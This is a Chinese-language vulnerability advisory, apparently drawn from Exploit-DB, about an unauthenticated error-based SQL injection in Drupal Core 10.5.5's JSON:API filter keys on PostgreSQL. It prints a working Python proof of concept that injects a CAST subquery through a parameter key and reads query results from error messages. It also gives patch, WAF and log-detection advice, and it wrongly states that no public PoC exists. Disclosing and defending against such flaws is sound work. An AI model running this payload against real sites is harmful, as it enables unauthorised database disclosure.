[webapps] Drupal Core 10.5.5 - Error-Based SQL Injection
Drupal Core 10.5.5被发现存在基于错误的SQL注入漏洞(CVE-2026-9082),攻击者可利用JSON:API过滤器数组键注入恶意SQL,通过PostgreSQL错误消息泄露数据库版本等敏感信息。该漏洞无需认证,远程利用,CVSS评分7.5。本文提供完整的攻击原理、PoC分析和修复建议。
Drupal Core 10.5.5 JSON:API过滤器数组键存在错误型SQL注入,可泄露数据库信息。
High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)📋 漏洞基础信息
| CVE | CVE-2026-9082 |
|---|---|
| 漏洞类型 | SQL注入 (Error-Based) |
| 受影响版本 | Drupal Core 10.5.5 (PostgreSQL) |
| 危害等级 | High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) |
| 发布日期 | 2026-06-01 |
| 提交者 | cardosource |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
JSON:API过滤器机制未正确清理用户控制的数组键,攻击者可通过构造filter[my_filter][condition][value][0||CAST((subquery) AS INTEGER)]形式的参数键名,将恶意SQL表达式注入到查询构造中,触发PostgreSQL类型转换错误导致信息泄露。
🎯 攻击场景
1. 攻击者发送GET请求到/jsonapi/node/article端点。 2. 在请求参数中构造 filter[my_filter][condition][path]=title、filter[my_filter][condition][operator]=IN、filter[my_filter][condition][value][0]=Example 以及 filter[my_filter][condition][value][0||CAST((SELECT version()) AS INTEGER)]=Injection。 3. 服务器在处理过滤器时,将数组键值作为SQL查询的一部分拼接,导致CAST((SELECT version()) AS INTEGER)被数据库执行。 4. 由于类型不匹配,PostgreSQL返回错误消息,其中包含了SELECT version()的结果,攻击者在HTTP 500响应的JSON错误详情中读取到数据库版本信息。
💥 漏洞影响
攻击者无需身份认证即可通过HTTP GET请求触发数据库错误,获取数据库版本、当前用户、表结构等敏感信息,为后续更深入攻击提供情报。
⚔️ 原始 PoC
1. 定义 extract_data 函数,接收子查询字符串(如 SELECT version())。 2. 构造 payload 字符串:"0||CAST(({subquery}) AS INTEGER)",用于闭合数组键并执行CAST转换。 3. 将payload作为 filter[my_filter][condition][value][0||CAST((SELECT version()) AS INTEGER)] 的键名,值为任意字符串。 4. 发送GET请求,携带恶意参数。 5. 捕获HTTP 500响应,解析JSON错误对象中的detail字段,提取引号内的错误信息,即为数据库返回的版本数据。
# Exploit Author: cardosource
#
# Description:
# This proof-of-concept demonstrates an Error-Based SQL Injection in
# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter
# array keys influence SQL query construction, allowing database
# information disclosure through SQL error messages.
import requests
import json
from urllib.parse import urlencode
TARGET_URL = "http://localhost:8080/jsonapi/node/article"
BANNER = """
[+] Drupal Core 10.5.5 - Error-Based SQL Injection
[+] CVE-2026-9082
[+] Target: JSON:API (PostgreSQL)
"""
def extract_data(subquery):
headers = {
"Accept": "application/vnd.api+json",
"Content-Type": "application/vnd.api+json"
}
payload = f"0||CAST(({subquery}) AS INTEGER)"
params = {
"filter[my_filter][condition][path]": "title",
"filter[my_filter][condition][operator]": "IN",
"filter[my_filter][condition][value][0]": "Example",
f"filter[my_filter][condition][value][{payload}]": "Injection"
}
try:
response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)
if response.status_code == 500:
try:
error = response.json().get("errors", [{}])[0].get("detail", "")
if "invalid input syntax" in error:
data = error.split('"')[1] if '"' in error else error
print(f"\033[92m[SUCCESS]\033[0m {data}")
except json.JSONDecodeError:
pass
except requests.exceptions.RequestException:
pass
if __name__ == "__main__":
print(BANNER)
extract_data("SELECT version()")🔬 深度技术分析
1. 定义 extract_data 函数,接收子查询字符串(如 SELECT version())。 2. 构造 payload 字符串:"0||CAST(({subquery}) AS INTEGER)",用于闭合数组键并执行CAST转换。 3. 将payload作为 filter[my_filter][condition][value][0||CAST((SELECT version()) AS INTEGER)] 的键名,值为任意字符串。 4. 发送GET请求,携带恶意参数。 5. 捕获HTTP 500响应,解析JSON错误对象中的detail字段,提取引号内的错误信息,即为数据库返回的版本数据。
🛡️ 修复建议
官方补丁:升级至Drupal Core 10.5.6及以上版本。 临时缓解措施:禁用JSON:API模块或使用WAF规则拦截包含filter[...][value][...||CAST(的请求。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-02 08:08 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 该漏洞是否需要认证?
不需要,PoC显示无需任何认证即可利用,受影响的JSON:API端点默认对匿名用户开放读取权限。
❓ 仅影响PostgreSQL吗?
根据原文,漏洞仅在PostgreSQL上验证,且利用依赖PostgreSQL的CAST错误消息泄露数据,MySQL/MariaDB可能无法直接使用相同payload。
❓ 如何判断是否被攻击?
检查Web服务器访问日志中异常的filter参数键名,特别是包含||、CAST、(SELECT等SQL关键字的参数名。